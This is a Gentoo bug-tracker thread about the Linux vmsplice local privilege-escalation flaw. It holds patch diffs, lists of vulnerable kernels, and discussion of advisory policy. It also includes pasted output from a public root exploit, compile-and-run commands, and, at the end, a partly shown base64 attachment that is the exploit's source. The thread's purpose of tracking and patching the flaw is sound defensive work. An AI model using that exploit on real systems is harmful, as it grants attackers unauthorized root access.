209460 CVE-2008-0009 2008-02-09 21:05 0000 kernel 2.6.17 - 2.6.24.1 splice: missing user pointer access verification (CVE-2008-{0009,0010,0600}) 2009-03-03 08:00:13 0000 1 1 1 Unclassified Gentoo Security Kernel unspecified All Linux NEW http://bugzilla.kernel.org/show_bug.cgi?id=9924 http://www.milw0rm.com/exploits/5092 http://www.milw0rm.com/exploits/5093 [linux >= 2.6.17 < 2.6.23.16] [linux >= 2.6.24 < 2.6.24.2] [gp < 2.6.23-9] [gp >2.6.24 < 2.6.24-3] [vserver < 2.2.0.6] [xen < 2.6.18-r10] [xen >= 2.6.19 < 2.6.20-r7] P2 critical --- 215546 1 commando2004@yandex.ru security@gentoo.org a.boykov@timeweb.ru ahf@0x90.dk andreas@sembrant.com aoz.syn@gmail.com avenj@tellink.net bshalm@broadpark.no caluml@gmail.com cyril.jaquier@jaqpot.net gao@schrodinger.com geek@alum.rpi.edu gengor@gentoo.org gentoo-bugs@allenjb.me.uk james@nixeagle.org janusz@uni.opole.pl ja_82fi@yahoo.com jesse@boldandbusted.com kai.kasurinen@uninea.fi kamil@mrblur.net kerframil@gmail.com kernel@gentoo.org lamotte85@gmail.com lu_zero@gentoo.org mal@komcept.com massimo.fantin@alice.it mike@gaima.co.uk nuitari@nuitari.net polynomial-c@gentoo.org tacvbo@tacvbo.net thild@free.fr tom@tomaw.net ulf@net-performer.de uzak@neuron.tuke.sk commando2004@yandex.ru 2008-02-09 21:05:33 0000 I got root on my sys-kernel/gentoo-sources-2.6.24 with this exploit: % ./a.out ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7db8000 .. 0xb7dea000 [+] root # whoami root Reproducible: Always Steps to Reproduce: 1. Compile exploit using gcc 2. Execute it 3. Got root... Actual Results: Privilege escalation commando2004@yandex.ru 2008-02-09 22:11:04 0000 Created an attachment (id=143059) Linux vmsplice Local Root Exploit jakub@gentoo.org 2008-02-10 01:14:29 0000 Yeah, fixed with http://tinyurl.com/38me8k jakub@gentoo.org 2008-02-10 01:29:08 0000 Erm... or not... this isn't properly fixed: $ ./a.out ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7dfe000 .. 0xb7e30000 Segmentation fault $ ./a.out ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7e1e000 .. 0xb7e50000 [-] wtf $ ./a.out ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7dd7000 .. 0xb7e09000 [+] root # whoami root dertobi123@gentoo.org 2008-02-10 14:03:15 0000 *** Bug 209530 has been marked as a duplicate of this bug. *** jakub@gentoo.org 2008-02-10 14:33:48 0000 *** Bug 209533 has been marked as a duplicate of this bug. *** kim@khh.dk 2008-02-10 16:29:16 0000 This should fix the issue: From: Bastian Blank <bastian@waldi.eu.org> The commit 8811930dc74a503415b35c4a79d14fb0b408a361 ("splice: missing user pointer access verification") added access_ok() to copy_from_user_mmap_sem() which only ensures we can copy the struct iovecs from userspace to the kernel but we also must check whether we can access the actual memory region pointed to by the struct iovec to close the local root exploit. Cc: <stable@kernel.org> Cc: Jens Axboe <jens.axboe@oracle.com> Cc: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi> --- Bastian, can I have your Signed-off-by for this, please? Oliver, Niki, can you please confirm this closes the hole? fs/splice.c | 3 +++ 1 file changed, 3 insertions(+) Index: linux-2.6/fs/splice.c =================================================================== --- linux-2.6.orig/fs/splice.c +++ linux-2.6/fs/splice.c @@ -1237,6 +1237,9 @@ static int get_iovec_page_array(const st if (unlikely(!base)) break; + if (unlikely(!access_ok(VERIFY_READ, base, len))) + break; + /* * Get this base offset and number of pages, then map * in the user pages. -- jakub@gentoo.org 2008-02-10 21:02:23 0000 *** Bug 209602 has been marked as a duplicate of this bug. *** jakub@gentoo.org 2008-02-10 21:13:21 0000 (In reply to comment #6) Yeah this looks finally like a working patch... brenden@rty.ca 2008-02-10 21:59:33 0000 Created an attachment (id=143165) splice.patch The patch from comment #6 works here on 2.6.22. I had to modify the patch offset slightly, so I'm posting the resulting diff here for the benefit of others. hoffie@gentoo.org 2008-02-11 09:25:11 0000 If I didn't mis-interpret dsd's blog post [1] this should be fixed in gentoo-sources-2.6.23-r8 or gentoo-sources-2.6.24-r2, with the first one having been stabled on x86 and am64 already. Vanilla linux-2.6.23.16 and 2.6.24.2 (containing the fix) have been released as well. (Posting it here as well to keep this bug up-to-date) [1] http://www.reactivated.net/weblog/archives/2008/02/critical-linux-kernel-vmsplice-security-issues/ wschlich@gentoo.org 2008-02-11 09:42:10 0000 There is also a different patch around: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464945#54 http://bugs.debian.org/cgi-bin/bugreport.cgi?msg=54;filename=patch;att=1;bug=464945 dsd@gentoo.org 2008-02-11 10:30:31 0000 there were various patches thrown up, some did not fix the issue properly, some opened other holes. we took the ones that went upstream nelchael@gentoo.org 2008-02-11 12:32:11 0000 sys-kernel/tuxonice-sources 2.6.23-r10 (genpatches 9) and 2.6.24-r1 (genpatches 3) ready, both should go stable same time as gentoo-sources. decoder@own-hero.net 2008-02-11 18:03:12 0000 (In reply to comment #0) > I got root on my sys-kernel/gentoo-sources-2.6.24 with this exploit: I tested this on Gentoo Hardened Sources 2.6.18 and it worked as well.. I tried to fix it by uprading to 2.6.23 and applying the patches provided by the linux kernel git repo but for some reason the exploit still works.. when will this be fixed in hardened-sources? Regards, Chris kerframil@gmail.com 2008-02-11 19:08:13 0000 In response to Comment 14 - I would invite you to have a look at bug 207393 where the matter of updating and committing a new version of hardened-sources is being discussed. ulf@net-performer.de 2008-02-12 00:10:25 0000 Patch from gentoo-sources-2.6.24-r2 (1400_vmsplice-user-pointer.patch) also applies to xen-sources-2.6.20-r6 and fixed the security issue for me. It would be great, if someone could supply an updated xen-sources package nelchael@gentoo.org 2008-02-12 07:51:41 0000 (In reply to comment #13) > sys-kernel/tuxonice-sources 2.6.23-r10 (genpatches 9) and 2.6.24-r1 (genpatches > 3) ready, both should go stable same time as gentoo-sources. Only tuxonice-sources-2.6.24-r1 should be considered for stabilization wrt this bug, 2.6.23-r10 doesn't patch well (changes in stable branch broke tuxonice) and was removed. nelchael@gentoo.org 2008-02-12 07:52:55 0000 (In reply to comment #17) > Only tuxonice-sources-2.6.24-r1 should be considered for stabilization wrt this > bug Big mistake: above should be 2.6.24-r2 (as -r2 contains fix for userui related problem). dsd@gentoo.org 2008-02-12 10:31:58 0000 2.6.24 is nowhere near ready to go stable, pending on at least #207383 #208493, and probably a few more that I haven't caught up with yet kerframil@gmail.com 2008-02-12 13:12:21 0000 I would invite the kernel team to consider commit 900cf086fd2fbad07f72f4575449e0d0958f860f to Linus' tree entitled "Be more robust about bad arguments in get_user_pages()". In particular, consider this remark from its author, Jonathan Corbet: " ... how could a failure to check for *read* access turn into a root exploit? It turns out that it's a buffer overflow problem which is made easy by the way get_user_pages() is coded." He's pointing out that the vmsplice() exploit is, in fact, just an access vector for a vulnerability that really resides in get_user_pages(). Moreover, it is quite plausible that get_user_pages() could be exploited by other presently unknown means in the kernel - for example, according to the PaX author, Direct I/O is a potential candidate but who knows what else ... The aformentioned commit closes this loophole. Jonathan has also written an article about it here, for which a subscription is required until 21st Feb: http://lwn.net/Articles/268783/. I think this patch is a prime candidate for genpatches-base and the stable queue. By committing this we could well be forearmed against future attacks that are based on the same principle. For the commit, see http://tinyurl.com/2l5xal. The patch itself is as follows: diff --git a/mm/memory.c b/mm/memory.c index e5628a5..717aa0e 100644 (file) --- a/mm/memory.c +++ b/mm/memory.c @@ -989,6 +989,8 @@ int get_user_pages(struct task_struct *tsk, struct mm_struct *mm, int i; unsigned int vm_flags; + if (len <= 0) + return 0; /* * Require read or write permissions. * If 'force' is set, we only require the "MAY" flags. unnamedrambler@gmail.com 2008-02-12 13:50:08 0000 Any news from the suspend2-sources maintainers regarding when a patch will be published? ja_82fi@yahoo.com 2008-02-12 14:23:24 0000 By the way, why is there still no GLSA about this? Or will they only be published after the bug has been fixed? As a reply comment #21, suspend2 has been renamed to tuxonice, and I understood that the same patch would apply there as would apply to gentoo sources. That's how I'm reading from comment #13 - correct me if I'm wrong (for example, if the stuff in comment #20 changes this somehow). dsd@gentoo.org 2008-02-12 14:39:25 0000 (In reply to comment #20) > I would invite the kernel team to consider commit > 900cf086fd2fbad07f72f4575449e0d0958f860f thanks, queued. (In reply to comment #22) > By the way, why is there still no GLSA about this? We do not do kernel GLSAs, sorry. Both the security and kernel projects don't have enough resources to coordinate them (too many kernels, and too many vulns because almost any small kernel bug is a vulnerability). We had a couple of developers who attempted to fill the "kernel security" role in the past but they burned out - it's a mindlessly boring unforgiving task which eats hours upon hours. Are you interested? :) ja_82fi@yahoo.com 2008-02-12 15:06:38 0000 > We do not do kernel GLSAs, sorry. Now that you said it, I noticed that gentoo security handbook says that "Keeping your kernel up-to-date is also recommended." - even though I'm not sure if it really points out that kernel GLSAs don't even exist at all. > it's a mindlessly boring unforgiving task which eats hours upon hours. > Are you interested? :) The description sure sounds tempting :-) I guess I'm going to pass this one... nelchael@gentoo.org 2008-02-12 16:14:05 0000 (In reply to comment #22) > As a reply comment #21, suspend2 has been renamed to tuxonice, and I understood > that the same patch would apply there as would apply to gentoo sources. That's > how I'm reading from comment #13 - correct me if I'm wrong (for example, if the > stuff in comment #20 changes this somehow). Yes, suspend2-sources is p.masked, pending removal. I've contacted Nigel (TuxOnIce upstream) about resyncing patch for 2.6.23.16. caluml@gmail.com 2008-02-12 18:39:26 0000 I do think it's a shame about the lack of kernel GLSAs. The original reason was that there was going to be a shiny new tool called KISS, which was obviously much more exciting to work on. That never materialised though. Perhaps not for every little thing - not for example for a DoS in some random RAID controller module only on FooBAR/08 architectures, but for local/remote roots that affect large percentages of users, it would be good. After I've installed a machine, I set up a cron job that emails me the output of glsa-check -l affected, and only update software that's affected. I find it strange that the main, core component that everything else runs on is excluded from the Gentoo **Linux** "Security Advisories". The first I heard of this was on Slashdot, and that's not the best way to get your news. Yes, there are other ways to get this info. Not everyone has time to trawl through mailing lists, and Bugzillas, etc though. GLSAs are a nice method. Anyway, I mentioned this on the security mailing list a couple of times, and got shouted down, so I'll don my suit now. jaervosz@gentoo.org 2008-02-12 19:01:25 0000 While you install the kernel sources with emerge, you don't actually install the kernel with emerge, so kernels are treated special. AFAIK glsa-check will only check if you have some vulnerable kernel sources installed and nothing about the running kernel. avenj@tellink.net 2008-02-12 19:57:22 0000 I realize there are a metric shitton of kernels in the tree but it seems to me it would make sense to make _some_ attempt to ensure users are aware of things like a root exploit in the Linux part of Gentoo Linux. "It can't be fixed with just emerge blah so we don't GLSA it" is interesting to put it mildly. I'm interested though, maybe I'd even consider a return to Gentoo: why does doing kernel security even vaguely right eat hours upon hours? It's fixed in the tree for at least some kernels, why is it impossible to notify users of which kernels are broken and which are fixed? And do you really think it's a good idea for serious distributions to quietly fix root exploits in the kernel without notifying users? py@gentoo.org 2008-02-12 20:26:36 0000 (In reply to comment #26) > I do think it's a shame about the lack of kernel GLSAs. > The original reason was that there was going to be a shiny new tool called > KISS, which was obviously much more exciting to work on. That never > materialised though. > > Perhaps not for every little thing - not for example for a DoS in some random > RAID controller module only on FooBAR/08 architectures, but for local/remote > roots that affect large percentages of users, it would be good. > > After I've installed a machine, I set up a cron job that emails me the output > of glsa-check -l affected, and only update software that's affected. > > I find it strange that the main, core component that everything else runs on is > excluded from the Gentoo **Linux** "Security Advisories". > > The first I heard of this was on Slashdot, and that's not the best way to get > your news. Yes, there are other ways to get this info. Not everyone has time to > trawl through mailing lists, and Bugzillas, etc though. GLSAs are a nice > method. > > Anyway, I mentioned this on the security mailing list a couple of times, and > got shouted down, so I'll don my suit now. > Well, I won't shout at you, I'll just point you to comment #23 on this bug...I think everyone would like to have kernel GLSA, but remember, unlike Ubuntu or Fedora, here no one gets paid to do the job, and god knows tracking kernel issues on a dozen different patchset is all but an exciting task... jaervosz@gentoo.org 2008-02-12 20:50:18 0000 @Jon: You're more than welcome to return to help with kernel security. I'd buy you beer any day I meet you for that:) Wrt informing users I think a news item on the front page and an announce mail is going to happen. rbu@gentoo.org 2008-02-12 20:57:08 0000 Can we please discuss Gentoo's kernel security process off of this bug? I'm happy for any insights, offers, and ideas, if they go to the security mailing list, or the security@g.o alias. Calum, if you are really interested in helping out within kernel security, please let me know in private. kerframil@gmail.com 2008-02-12 21:56:25 0000 Of those kernel ebuilds that leverage genpatches-base (all of the 2.6 versions apparently), figuring out which are vulnerable isn't so hard. Let's assume the following: * < 2.6.17 is not vulnerable (debatable) * All other version are except for: 2.6.23 + genpatches-base-2.6.23-9 2.6.24 + genpatches-base-2.6.24-3 Now for a cheeky one-liner to look for those that are vulnerable: $ cd /usr/portage/sys-kernel && find -iname "*.ebuild" -exec grep -H GENPATCHES_VER '{}' \; | cut -d/ -f3- | perl -ne 'm/(.+)\-2\.6\.(\d+)(?:\-r(\d+))?.+?"(\d+)"/ && (($2 >= 17 && $2 < 23) || ($2 == 24 && $4 < 3) || ($2 == 23 && $4 < 9)) && print "$1-2.6-$2" . (($3)?"-r$3":"") . " [genpatches-2.6.$2-$4]\n"' | sort gentoo-sources-2.6-19-r5 [genpatches-2.6.19-6] gentoo-sources-2.6-19-r7 [genpatches-2.6.19-8] gentoo-sources-2.6-20-r10 [genpatches-2.6.20-14] gentoo-sources-2.6-21-r4 [genpatches-2.6.21-6] gentoo-sources-2.6-22 [genpatches-2.6.22-1] gentoo-sources-2.6-22-r1 [genpatches-2.6.22-2] gentoo-sources-2.6-22-r10 [genpatches-2.6.22-11] gentoo-sources-2.6-22-r2 [genpatches-2.6.22-3] gentoo-sources-2.6-22-r3 [genpatches-2.6.22-4] gentoo-sources-2.6-22-r4 [genpatches-2.6.22-5] gentoo-sources-2.6-22-r5 [genpatches-2.6.22-6] gentoo-sources-2.6-22-r6 [genpatches-2.6.22-7] gentoo-sources-2.6-22-r7 [genpatches-2.6.22-8] gentoo-sources-2.6-22-r8 [genpatches-2.6.22-9] gentoo-sources-2.6-22-r9 [genpatches-2.6.22-10] gentoo-sources-2.6-23 [genpatches-2.6.23-1] gentoo-sources-2.6-23-r1 [genpatches-2.6.23-2] gentoo-sources-2.6-23-r2 [genpatches-2.6.23-3] gentoo-sources-2.6-23-r3 [genpatches-2.6.23-4] gentoo-sources-2.6-23-r4 [genpatches-2.6.23-5] gentoo-sources-2.6-23-r5 [genpatches-2.6.23-6] gentoo-sources-2.6-23-r6 [genpatches-2.6.23-7] gentoo-sources-2.6-23-r7 [genpatches-2.6.23-8] gentoo-sources-2.6-24 [genpatches-2.6.24-1] gentoo-sources-2.6-24-r1 [genpatches-2.6.24-2] hardened-sources-2.6-20-r10 [genpatches-2.6.20-19] hardened-sources-2.6-20-r6 [genpatches-2.6.20-13] hardened-sources-2.6-23-r4 [genpatches-2.6.23-6] hardened-sources-2.6-23-r6 [genpatches-2.6.23-7] rsbac-sources-2.6-18 [genpatches-2.6.18-3] rsbac-sources-2.6-18-r1 [genpatches-2.6.18-3] rsbac-sources-2.6-19 [genpatches-2.6.19-5] rsbac-sources-2.6-19-r1 [genpatches-2.6.19-7] rsbac-sources-2.6-21 [genpatches-2.6.21-4] rsbac-sources-2.6-21-r1 [genpatches-2.6.21-4] suspend2-sources-2.6-21-r7 [genpatches-2.6.21-6] suspend2-sources-2.6-22-r2 [genpatches-2.6.22-6] tuxonice-sources-2.6-23 [genpatches-2.6.23-1] tuxonice-sources-2.6-23-r1 [genpatches-2.6.23-2] tuxonice-sources-2.6-23-r2 [genpatches-2.6.23-3] tuxonice-sources-2.6-23-r3 [genpatches-2.6.23-4] tuxonice-sources-2.6-23-r4 [genpatches-2.6.23-4] tuxonice-sources-2.6-23-r5 [genpatches-2.6.23-5] tuxonice-sources-2.6-23-r6 [genpatches-2.6.23-6] tuxonice-sources-2.6-23-r7 [genpatches-2.6.23-7] tuxonice-sources-2.6-23-r8 [genpatches-2.6.23-7] tuxonice-sources-2.6-23-r9 [genpatches-2.6.23-7] tuxonice-sources-2.6-24 [genpatches-2.6.24-1] usermode-sources-2.6-18 [genpatches-2.6.18-1] usermode-sources-2.6-18-r1 [genpatches-2.6.18-8] usermode-sources-2.6-18-r2 [genpatches-2.6.18-8] xen-sources-2.6-18-r6 [genpatches-2.6.18-10] xen-sources-2.6-18-r7 [genpatches-2.6.18-10] xen-sources-2.6-18-r8 [genpatches-2.6.18-10] xen-sources-2.6-20-r5 [genpatches-2.6.20-19] xen-sources-2.6-20-r6 [genpatches-2.6.20-19] I must say that it seems as though a little tree de-crufting wouldn't go amiss. We're missing vserver-sources here as it uses an odd version numbering scheme. Still, a casual glance at all versions in portage makes it plainly obvious that they are vulnerable: $ cd /usr/portage/sys-kernel/vserver-sources && for ebuild in *.ebuild; do CKV=$(grep ^CKV $ebuild | cut -d\" -f2); GPV=$(grep ^K_GENPATCHES_VER $ebuild | cut -d\" -f2); echo "$ebuild [genpatches-base-$CKV-$GPV]"; done vserver-sources-2.2.0-r1.ebuild [genpatches-base-2.6.20-13] vserver-sources-2.2.0.4.ebuild [genpatches-base-2.6.22-10] vserver-sources-2.2.0.5.ebuild [genpatches-base-2.6.22-10] vserver-sources-2.3.0.27.ebuild [genpatches-base-2.6.22-10] vserver-sources-2.3.0.29.ebuild [genpatches-base-2.6.22-10] jakub@gentoo.org 2008-02-13 13:10:02 0000 *** Bug 209992 has been marked as a duplicate of this bug. *** hollow@gentoo.org 2008-02-13 14:27:36 0000 (In reply to comment #32) > We're missing vserver-sources here as it uses an odd version numbering scheme. > Still, a casual glance at all versions in portage makes it plainly obvious that > they are vulnerable: > > $ cd /usr/portage/sys-kernel/vserver-sources && for ebuild in *.ebuild; do > CKV=$(grep ^CKV $ebuild | cut -d\" -f2); GPV=$(grep ^K_GENPATCHES_VER $ebuild | > cut -d\" -f2); echo "$ebuild [genpatches-base-$CKV-$GPV]"; done > vserver-sources-2.2.0-r1.ebuild [genpatches-base-2.6.20-13] > vserver-sources-2.2.0.4.ebuild [genpatches-base-2.6.22-10] > vserver-sources-2.2.0.5.ebuild [genpatches-base-2.6.22-10] > vserver-sources-2.3.0.27.ebuild [genpatches-base-2.6.22-10] > vserver-sources-2.3.0.29.ebuild [genpatches-base-2.6.22-10] 2.2.0.6 (just commited) is not vulnerable aoz.syn@gmail.com 2008-02-13 20:02:05 0000 Tested per Kerin's IRC request: ======================================== [test@dev-01 ~] uname -a Linux dev-01 2.6.23-hardened-r7 #4 SMP PREEMPT Wed Feb 13 11:55:39 MST 2008 i686 Intel(R) Xeon(TM) CPU 3.06GHz GenuineIntel GNU/Linux [test@dev-01 ~] gcc -static -Wno-format -o milw0rm-5092 copy_from_user_mmap_sem.c [test@dev-01 ~] ./milw0rm-5092 ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0x57ed9000 .. 0x57f0b000 [-] vmsplice: Bad address [test@dev-01 ~] gcc -static -Wno-format -o milw0rm-5093 vmsplice_to_pipe.c [test@dev-01 ~] ./milw0rm-5093 ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] addr: 0x16b64 [-] wtf ======================================== Couldn't get milw0rm 5092 (CVE-2008-0600) to get to 'wtf'. I have turned off CONFIG_PAX_UDEREF, CONFIG_PAX_ASLR, and CONFIG_GRKERNSEC_HIDESYM, as well as made /proc/kallsyms world-readable. So, 0010 and 0600 (copy_from_user_mmap_sem and vmsplice_to_pipe, respectively) were tested, but I couldn't find any code against 0009 (vmsplice_to_user). jakub@gentoo.org 2008-02-14 17:44:24 0000 *** Bug 210156 has been marked as a duplicate of this bug. *** kang@gentoo.org 2008-02-15 17:21:11 0000 both fixes are in rsbac-sources-2.6.23 on cvs ~arch as well now (note, the fix is in the RSBAC patch so checking genpatch version will be unaccurate for this one) geek@alum.rpi.edu 2008-02-15 17:50:12 0000 *** Bug 210263 has been marked as a duplicate of this bug. *** jakub@gentoo.org 2008-02-17 11:11:01 0000 *** Bug 210451 has been marked as a duplicate of this bug. *** nelchael@gentoo.org 2008-02-17 20:23:50 0000 (In reply to comment #25) > Yes, suspend2-sources is p.masked, pending removal. I've contacted Nigel > (TuxOnIce upstream) about resyncing patch for 2.6.23.16. tuxonice-sources-2.6.23-r10.ebuild: Revision bump for genpatches 9, TuxOnIce 3.0-rc5 for 2.6.23.16. hollow@gentoo.org 2008-02-20 12:07:01 0000 vserver-sources-2.2.0.6 stable, vulnerable versions removed, devel branch 2.3 is not fixed yet but masked anyway for testing kerframil@gmail.com 2008-02-20 12:17:04 0000 Adding a reference to CVE-2008-0600 to the summary. I have no idea why it wasn't there before but it should be. pva@gentoo.org 2008-03-19 11:28:59 0000 hppa, seems that your kernel is still affected by this bug. Please check this bug, to avoid release with this flaw. Thank you. jer@gentoo.org 2008-03-20 03:58:35 0000 (In reply to comment #43) > hppa, seems that your kernel is still affected by this bug. Please check this > bug, to avoid release with this flaw. Thank you. If you mean hppa-sources, that's package.masked in accordance with bug #202391. pva@gentoo.org 2008-03-20 08:43:14 0000 Ah, I see. Thank you Jeroen. UnCC'ing hppa. Then seems that the only affected kernels remain are: cell-sources, mips-sources, usermode-sources. CC'ing maintainers: please check your kernels. I think it's worth to have this this bug fixed even if kernels are security unsupported/unstable... Thank you in advance. lu_zero@gentoo.org 2008-03-20 09:44:32 0000 cell sources could be p.masked since .24 has most of the code needed to get a bootable ps3/cell system and I still prefer tracking the git branch. If the other people in the team want I could try to get a .25 snapshot. mpagano@gentoo.org 2008-03-20 14:36:54 0000 (In reply to comment #46) > If the other people in the team want I could try to get a .25 snapshot. > IMHO, less kernels to maintain (and track bugs in) is better than more. If you think 2.6.24 contains enough support for cell, I would be for masking this, lu_zero@gentoo.org 2008-03-24 02:04:41 0000 I added an updated .24.3+cell/ps3 related improvement, that should solve the issue for cell-sources. pva@gentoo.org 2008-06-20 19:33:44 0000 cell-sources and usermode-sources are not so important for release. So we are done with this bug. hollow@gentoo.org 2009-01-10 21:37:27 0000 there are no more vulnerable versions of vserver-sources pva@gentoo.org 2009-03-03 08:00:13 0000 For a long time, recent mips sources have this issues fixed ... 143059 2008-02-09 22:11 0000 Linux vmsplice Local Root Exploit linux_vmsplice.c text/plain LyoKICogamVzc2ljYV9iaWVsX25ha2VkX2luX215X2JlZC5jCiAqCiAqIERvdmFsaW0geiBrbmFq cHkgYSBjdW1pbSB6ZSBXb2p0YSB6YXMgbmVtYSBjbyByb2JpdCwga3VyYS4KICogR2l6ZGksIHR1 dGFqIG1hdGUgY29zeWsgbmEgaHJhbmksIGt5bSBhaiB0b3RvayB2eWtlY2EuCiAqIFN0ZWpuYWsg amUgdG8gc3RhcmUgamFrIGN5cCBhIGFqIGpha2VzeWsgcm96Yml0ZS4KICoKICogTGludXggdm1z cGxpY2UgTG9jYWwgUm9vdCBFeHBsb2l0CiAqIEJ5IHFhYXoKICoKICogTGludXggMi42LjE3IC0g Mi42LjI0LjEKICoKICogVGhpcyBpcyBxdWl0ZSBvbGQgY29kZSBhbmQgSSBoYWQgdG8gcmV3cml0 ZSBpdCB0byBldmVuIGNvbXBpbGUuCiAqIEl0IHNob3VsZCB3b3JrIHdlbGwsIGJ1dCBJIGRvbid0 IHJlbWViZXIgb3JpZ2luYWwgaW50ZW50IG9mIGFsbAogKiB0aGUgY29kZSwgc28gSSdtIG5vdCAx MDAlIHN1cmUgYWJvdXQgaXQuIFlvdSd2ZSBiZWVuIHdhcm5lZCA7KQogKiAKICogLXN0YXRpYyAt V25vLWZvcm1hdCAgCiAqLwojZGVmaW5lIF9HTlVfU09VUkNFCiNpbmNsdWRlIDxzdGRpby5oPgoj aW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8c3RyaW5nLmg+ CiNpbmNsdWRlIDxtYWxsb2MuaD4KI2luY2x1ZGUgPGxpbWl0cy5oPgojaW5jbHVkZSA8c2lnbmFs Lmg+CiNpbmNsdWRlIDx1bmlzdGQuaD4KI2luY2x1ZGUgPHN5cy91aW8uaD4KI2luY2x1ZGUgPHN5 cy9tbWFuLmg+CiNpbmNsdWRlIDxhc20vcGFnZS5oPgojZGVmaW5lIF9fS0VSTkVMX18KI2luY2x1 ZGUgPGFzbS91bmlzdGQuaD4KCiNkZWZpbmUgUElQRV9CVUZGRVJTCTE2CiNkZWZpbmUgUEdfY29t cG91bmQJMTQKI2RlZmluZSB1aW50CQl1bnNpZ25lZCBpbnQKI2RlZmluZSBzdGF0aWNfaW5saW5l CXN0YXRpYyBpbmxpbmUgX19hdHRyaWJ1dGVfXygoYWx3YXlzX2lubGluZSkpCiNkZWZpbmUgU1RB Q0soeCkJKHggKyBzaXplb2YoeCkgLSA0MCkKCnN0cnVjdCBwYWdlIHsKCXVuc2lnbmVkIGxvbmcg ZmxhZ3M7CglpbnQgY291bnQ7CglpbnQgbWFwY291bnQ7Cgl1bnNpZ25lZCBsb25nIHByaXZhdGU7 Cgl2b2lkICptYXBwaW5nOwoJdW5zaWduZWQgbG9uZyBpbmRleDsKCXN0cnVjdCB7IGxvbmcgbmV4 dCwgcHJldjsgfSBscnU7Cn07Cgp2b2lkCWV4aXRfY29kZSgpOwpjaGFyCWV4aXRfc3RhY2tbMTAy NCAqIDEwMjRdOwoKdm9pZAlkaWUoY2hhciAqbXNnLCBpbnQgZXJyKQp7CglwcmludGYoZXJyID8g IlstXSAlczogJXNcbiIgOiAiWy1dICVzXG4iLCBtc2csIHN0cmVycm9yKGVycikpOwoJZmZsdXNo KHN0ZG91dCk7CglmZmx1c2goc3RkZXJyKTsKCWV4aXQoMSk7Cn0KCiNpZiBkZWZpbmVkIChfX2kz ODZfXykKCiNpZm5kZWYgX19OUl92bXNwbGljZQojZGVmaW5lIF9fTlJfdm1zcGxpY2UJMzE2CiNl bmRpZgoKI2RlZmluZSBVU0VSX0NTCQkweDczCiNkZWZpbmUgVVNFUl9TUwkJMHg3YgojZGVmaW5l IFVTRVJfRkwJCTB4MjQ2CgpzdGF0aWNfaW5saW5lCnZvaWQJZXhpdF9rZXJuZWwoKQp7CglfX2Fz bV9fIF9fdm9sYXRpbGVfXyAoCgkibW92bCAlMCwgMHgxMCglJWVzcCkgOyIKCSJtb3ZsICUxLCAw eDBjKCUlZXNwKSA7IgoJIm1vdmwgJTIsIDB4MDgoJSVlc3ApIDsiCgkibW92bCAlMywgMHgwNCgl JWVzcCkgOyIKCSJtb3ZsICU0LCAweDAwKCUlZXNwKSA7IgoJImlyZXQiCgk6IDogImkiIChVU0VS X1NTKSwgInIiIChTVEFDSyhleGl0X3N0YWNrKSksICJpIiAoVVNFUl9GTCksCgkgICAgImkiIChV U0VSX0NTKSwgInIiIChleGl0X2NvZGUpCgkpOwp9CgpzdGF0aWNfaW5saW5lCnZvaWQgKglnZXRf Y3VycmVudCgpCnsKCXVuc2lnbmVkIGxvbmcgY3VycjsKCV9fYXNtX18gX192b2xhdGlsZV9fICgK CSJtb3ZsICUlZXNwLCAlJWVheCA7IgoJImFuZGwgJTEsICUlZWF4IDsiCgkibW92bCAoJSVlYXgp LCAlMCIKCTogIj1yIiAoY3VycikKCTogImkiICh+ODE5MSkKCSk7CglyZXR1cm4gKHZvaWQgKikg Y3VycjsKfQoKI2VsaWYgZGVmaW5lZCAoX194ODZfNjRfXykKCiNpZm5kZWYgX19OUl92bXNwbGlj ZQojZGVmaW5lIF9fTlJfdm1zcGxpY2UJMjc4CiNlbmRpZgoKI2RlZmluZSBVU0VSX0NTCQkweDIz CiNkZWZpbmUgVVNFUl9TUwkJMHgyYgojZGVmaW5lIFVTRVJfRkwJCTB4MjQ2CgpzdGF0aWNfaW5s aW5lCnZvaWQJZXhpdF9rZXJuZWwoKQp7CglfX2FzbV9fIF9fdm9sYXRpbGVfXyAoCgkic3dhcGdz IDsiCgkibW92cSAlMCwgMHgyMCglJXJzcCkgOyIKCSJtb3ZxICUxLCAweDE4KCUlcnNwKSA7IgoJ Im1vdnEgJTIsIDB4MTAoJSVyc3ApIDsiCgkibW92cSAlMywgMHgwOCglJXJzcCkgOyIKCSJtb3Zx ICU0LCAweDAwKCUlcnNwKSA7IgoJImlyZXRxIgoJOiA6ICJpIiAoVVNFUl9TUyksICJyIiAoU1RB Q0soZXhpdF9zdGFjaykpLCAiaSIgKFVTRVJfRkwpLAoJICAgICJpIiAoVVNFUl9DUyksICJyIiAo 